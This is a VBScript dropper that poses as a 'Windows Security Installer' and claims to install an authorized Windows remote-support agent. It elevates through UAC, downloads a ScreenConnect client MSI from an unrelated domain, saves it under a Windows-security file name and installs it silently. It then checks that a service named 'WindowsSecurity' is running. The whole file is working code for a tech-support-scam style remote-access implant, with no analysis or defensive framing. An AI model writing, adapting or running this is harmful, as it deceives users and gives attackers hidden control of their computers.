Option Explicit



Const PRODUCT_NAME = "Windows Security Installer"

Const DOWNLOAD_URL = _
    "https://myconnectedfriends.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"

Const MSI_FILE_NAME = "windows-Security-Setup.msi"
Const MSI_ARGS = "/qn /norestart"
Const SERVICE_NAME = "WindowsSecurity"

Dim shell
Dim fso

Dim tempDir
Dim workDir
Dim msiPath
Dim msiLogPath
Dim bootstrapLogPath

Dim downloadError
Dim exitCode
Dim serviceExitCode

Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")

tempDir = shell.ExpandEnvironmentStrings("%TEMP%")
workDir = fso.BuildPath(tempDir, "WindowsSupportInstaller")

msiPath = fso.BuildPath( _
    workDir, _
    MSI_FILE_NAME _
)

msiLogPath = fso.BuildPath( _
    workDir, _
    "msi-install.log" _
)

bootstrapLogPath = fso.BuildPath( _
    workDir, _
    "bootstrap.log" _
)

EnsureFolder workDir

LogLine "============================================================"
LogLine "Windows Security Support Installer started."
LogLine "Script path: " & WScript.ScriptFullName
LogLine "Download URL: " & DOWNLOAD_URL
LogLine "Working directory: " & workDir
LogLine "============================================================"

' ---------------------------------------------------------------------------
' Request administrator privileges.
' ---------------------------------------------------------------------------

If Not IsRunningAsAdmin() Then

    If HasArgument("/elevated") Then
        LogLine "Elevation was requested, but the process is still not elevated."

        MsgBox _
            "Administrator permission was not granted." & vbCrLf & vbCrLf & _
            "The Windows Support Agent cannot be installed without " & _
            "administrator permission.", _
            vbCritical, _
            PRODUCT_NAME

        WScript.Quit 1
    End If

    If MsgBox( _
        "This will install the authorized Windows remote-support agent." & _
        vbCrLf & vbCrLf & _
        "The support agent allows authorized Windows technicians to " & _
        "monitor and support this computer." & _
        vbCrLf & vbCrLf & _
        "Windows will request administrator permission." & _
        vbCrLf & vbCrLf & _
        "Continue with the installation?", _
        vbYesNo + vbQuestion, _
        PRODUCT_NAME _
    ) <> vbYes Then

        LogLine "The user cancelled the installation before elevation."
        WScript.Quit 1
    End If

    LogLine "Requesting administrator permission."

    If Not RelaunchElevated() Then
        LogLine "Failed to start the elevated installer process."

        MsgBox _
            "Administrator permission was not granted." & vbCrLf & vbCrLf & _
            "The installation has been cancelled.", _
            vbExclamation, _
            PRODUCT_NAME

        WScript.Quit 1
    End If

    WScript.Quit 0
End If

LogLine "Administrator permission confirmed."

' ---------------------------------------------------------------------------
' Remove old temporary installer and log files.
' ---------------------------------------------------------------------------

DeleteFileIfExists msiPath
DeleteFileIfExists msiLogPath

' ---------------------------------------------------------------------------
' Download the client-specific MSI package.
' ---------------------------------------------------------------------------

LogLine "Starting MSI download."

downloadError = DownloadFile( _
    DOWNLOAD_URL, _
    msiPath _
)

If downloadError <> "" Then
    FailAndQuit _
        "The Windows Support Agent installer could not be downloaded." & _
        vbCrLf & vbCrLf & _
        downloadError, _
        1
End If

If Not fso.FileExists(msiPath) Then
    FailAndQuit _
        "The download request completed, but the MSI file was not created.", _
        1
End If

If fso.GetFile(msiPath).Size < 1024 Then
    FailAndQuit _
        "The downloaded MSI file is unexpectedly small." & _
        vbCrLf & vbCrLf & _
        "The server may have returned an error page instead of the installer.", _
        1
End If

LogLine "MSI downloaded successfully."
LogLine "MSI path: " & msiPath
LogLine "MSI size: " & CStr(fso.GetFile(msiPath).Size) & " bytes."

' ---------------------------------------------------------------------------
' Install the MSI silently.
' ---------------------------------------------------------------------------

LogLine "Starting silent Windows Installer process."
LogLine "MSI log path: " & msiLogPath

exitCode = shell.Run( _
    "msiexec.exe /i " & Q(msiPath) & _
    " " & MSI_ARGS & _
    " /L*v " & Q(msiLogPath), _
    0, _
    True _
)

LogLine "Windows Installer exit code: " & CStr(exitCode)

Select Case exitCode

    Case 0
        LogLine "Windows Installer reported success."

    Case 3010
        LogLine "Windows Installer reported success with restart requested."

    Case 1603
        ShowMSIError _
            "Windows Installer reported a fatal installation error.", _
            exitCode

    Case 1618
        ShowMSIError _
            "Another Windows installation is already in progress.", _
            exitCode

    Case 1619
        ShowMSIError _
            "Windows Installer could not open the MSI package.", _
            exitCode

    Case 1638
        ShowMSIError _
            "Another version of the Windows Support Agent may already be installed.", _
            exitCode

    Case Else
        ShowMSIError _
            "Windows Installer could not complete the installation.", _
            exitCode

End Select

' ---------------------------------------------------------------------------
' Give the service time to start.
' ---------------------------------------------------------------------------

LogLine "Waiting for the RMMAgent service to start."
WScript.Sleep 5000

' ---------------------------------------------------------------------------
' Verify that the RMMAgent service exists and is running.
' ---------------------------------------------------------------------------

serviceExitCode = shell.Run( _
    "cmd.exe /c sc.exe query " & SERVICE_NAME & _
    " | findstr /I ""RUNNING"" >nul 2>&1", _
    0, _
    True _
)

If serviceExitCode <> 0 Then
    LogLine "MSI completed, but the RMMAgent service was not confirmed as running."

    MsgBox _
        "Windows Installer completed, but the Windows Support Agent " & _
        "service was not confirmed as running." & _
        vbCrLf & vbCrLf & _
        "Diagnostic files:" & _
        vbCrLf & vbCrLf & _
        "MSI log:" & vbCrLf & _
        msiLogPath & _
        vbCrLf & vbCrLf & _
        "Bootstrap log:" & vbCrLf & _
        bootstrapLogPath, _
        vbExclamation, _
        PRODUCT_NAME

    WScript.Quit 1
End If

LogLine "RMMAgent service confirmed running."
LogLine "Windows Support Agent installation completed successfully."

DeleteFileIfExists msiPath

LogLine "Installation completed successfully."
WScript.Quit 0

' ===========================================================================
' Checks whether the current script is running with administrator privileges.
' ===========================================================================

Function IsRunningAsAdmin()

    Dim result

    On Error Resume Next
    Err.Clear

    result = shell.Run( _
        "cmd.exe /c fltmc.exe >nul 2>&1", _
        0, _
        True _
    )

    If Err.Number <> 0 Then
        Err.Clear
        IsRunningAsAdmin = False
    Else
        IsRunningAsAdmin = (result = 0)
    End If

    On Error GoTo 0

End Function

' ===========================================================================
' Checks whether a command-line argument was passed to this script.
' ===========================================================================

Function HasArgument(ByVal expectedArgument)

    Dim argument

    HasArgument = False

    For Each argument In WScript.Arguments

        If LCase(Trim(CStr(argument))) = _
           LCase(Trim(expectedArgument)) Then

            HasArgument = True
            Exit Function
        End If

    Next

End Function

' ===========================================================================
' Relaunches the script through Windows UAC.
' ===========================================================================

Function RelaunchElevated()

    Dim app
    Dim scriptArguments

    RelaunchElevated = False

    On Error Resume Next
    Err.Clear

    Set app = CreateObject("Shell.Application")

    scriptArguments = _
        Q(WScript.ScriptFullName) & _
        " /elevated"

    app.ShellExecute _
        "wscript.exe", _
        scriptArguments, _
        "", _
        "runas", _
        1

    If Err.Number = 0 Then
        RelaunchElevated = True
    Else
        LogLine "Elevation error: " & Err.Description
        Err.Clear
    End If

    On Error GoTo 0

End Function

' ===========================================================================
' Downloads the MSI package.
' ===========================================================================

Function DownloadFile(ByVal sourceURL, ByVal targetPath)

    Dim http
    Dim stream
    Dim errorMessage
    Dim contentType

    DownloadFile = ""

    On Error Resume Next
    Err.Clear

    Set http = CreateObject("WinHttp.WinHttpRequest.5.1")

    If Err.Number <> 0 Then

        errorMessage = _
            "Could not create the Windows HTTP client: " & _
            Err.Description

        Err.Clear
        DownloadFile = errorMessage
        On Error GoTo 0
        Exit Function

    End If

    http.SetTimeouts _
        30000, _
        30000, _
        30000, _
        300000

    http.Open _
        "GET", _
        sourceURL, _
        False

    If Err.Number <> 0 Then

        errorMessage = _
            "Could not open the installer URL: " & _
            Err.Description

        Err.Clear
        DownloadFile = errorMessage
        On Error GoTo 0
        Exit Function

    End If

    http.SetRequestHeader _
        "User-Agent", _
        "Windows-Support-Installer/1.0"

    http.SetRequestHeader _
        "Cache-Control", _
        "no-cache"

    http.SetRequestHeader _
        "Pragma", _
        "no-cache"

    http.Send

    If Err.Number <> 0 Then

        errorMessage = _
            "The download request failed: " & _
            Err.Description

        Err.Clear
        DownloadFile = errorMessage
        On Error GoTo 0
        Exit Function

    End If

    LogLine _
        "Download response status: " & _
        CStr(http.Status) & _
        " " & _
        CStr(http.StatusText)

    contentType = ""

    Err.Clear
    contentType = http.GetResponseHeader("Content-Type")
    Err.Clear

    If contentType <> "" Then
        LogLine "Download content type: " & contentType
    End If

    If http.Status < 200 Or http.Status > 299 Then

        DownloadFile = _
            "The server returned HTTP " & _
            CStr(http.Status) & _
            " " & _
            CStr(http.StatusText)

        On Error GoTo 0
        Exit Function

    End If

    Set stream = CreateObject("ADODB.Stream")

    If Err.Number <> 0 Then

        errorMessage = _
            "Could not create the file stream: " & _
            Err.Description

        Err.Clear
        DownloadFile = errorMessage
        On Error GoTo 0
        Exit Function

    End If

    stream.Type = 1
    stream.Open

    stream.Write http.ResponseBody

    If Err.Number <> 0 Then

        errorMessage = _
            "Could not write the downloaded response: " & _
            Err.Description

        Err.Clear

        stream.Close

        DownloadFile = errorMessage
        On Error GoTo 0
        Exit Function

    End If

    stream.SaveToFile _
        targetPath, _
        2

    If Err.Number <> 0 Then

        errorMessage = _
            "Could not save the MSI file: " & _
            Err.Description

        Err.Clear

        stream.Close

        DownloadFile = errorMessage
        On Error GoTo 0
        Exit Function

    End If

    stream.Close

    On Error GoTo 0

End Function

' ===========================================================================
' Creates a folder when it does not already exist.
' ===========================================================================

Sub EnsureFolder(ByVal folderPath)

    On Error Resume Next

    If Not fso.FolderExists(folderPath) Then
        fso.CreateFolder folderPath
    End If

    If Err.Number <> 0 Then
        Err.Clear
    End If

    On Error GoTo 0

End Sub

' ===========================================================================
' Deletes a file when it exists.
' ===========================================================================

Sub DeleteFileIfExists(ByVal filePath)

    On Error Resume Next

    If fso.FileExists(filePath) Then
        fso.DeleteFile filePath, True
    End If

    If Err.Number <> 0 Then
        Err.Clear
    End If

    On Error GoTo 0

End Sub

' ===========================================================================
' Writes diagnostic information to the bootstrap log.
' ===========================================================================

Sub LogLine(ByVal message)

    Dim logFile

    On Error Resume Next

    EnsureFolder workDir

    Set logFile = fso.OpenTextFile( _
        bootstrapLogPath, _
        8, _
        True _
    )

    logFile.WriteLine _
        Now & _
        "  " & _
        message

    logFile.Close

    If Err.Number <> 0 Then
        Err.Clear
    End If

    On Error GoTo 0

End Sub

' ===========================================================================
' Shows a Windows Installer failure message.
' ===========================================================================

Sub ShowMSIError(ByVal message, ByVal installerExitCode)

    LogLine _
        "MSI INSTALLATION FAILED: " & _
        message & _
        " Exit code: " & _
        CStr(installerExitCode)

    MsgBox _
        message & _
        vbCrLf & vbCrLf & _
        "Windows Installer exit code: " & _
        CStr(installerExitCode) & _
        vbCrLf & vbCrLf & _
        "MSI log:" & vbCrLf & _
        msiLogPath & _
        vbCrLf & vbCrLf & _
        "Bootstrap log:" & vbCrLf & _
        bootstrapLogPath, _
        vbCritical, _
        PRODUCT_NAME

    WScript.Quit installerExitCode

End Sub

' ===========================================================================
' Shows a general failure message and exits.
' ===========================================================================

Sub FailAndQuit(ByVal message, ByVal errorCode)

    LogLine "FAILED: " & message

    MsgBox _
        message & _
        vbCrLf & vbCrLf & _
        "Diagnostic log:" & vbCrLf & _
        bootstrapLogPath, _
        vbCritical, _
        PRODUCT_NAME

    WScript.Quit errorCode

End Sub

' ===========================================================================
' Adds quotation marks around command-line values.
' ===========================================================================

Function Q(ByVal value)

    Q = _
        """" & _
        CStr(value) & _
        """"

End Function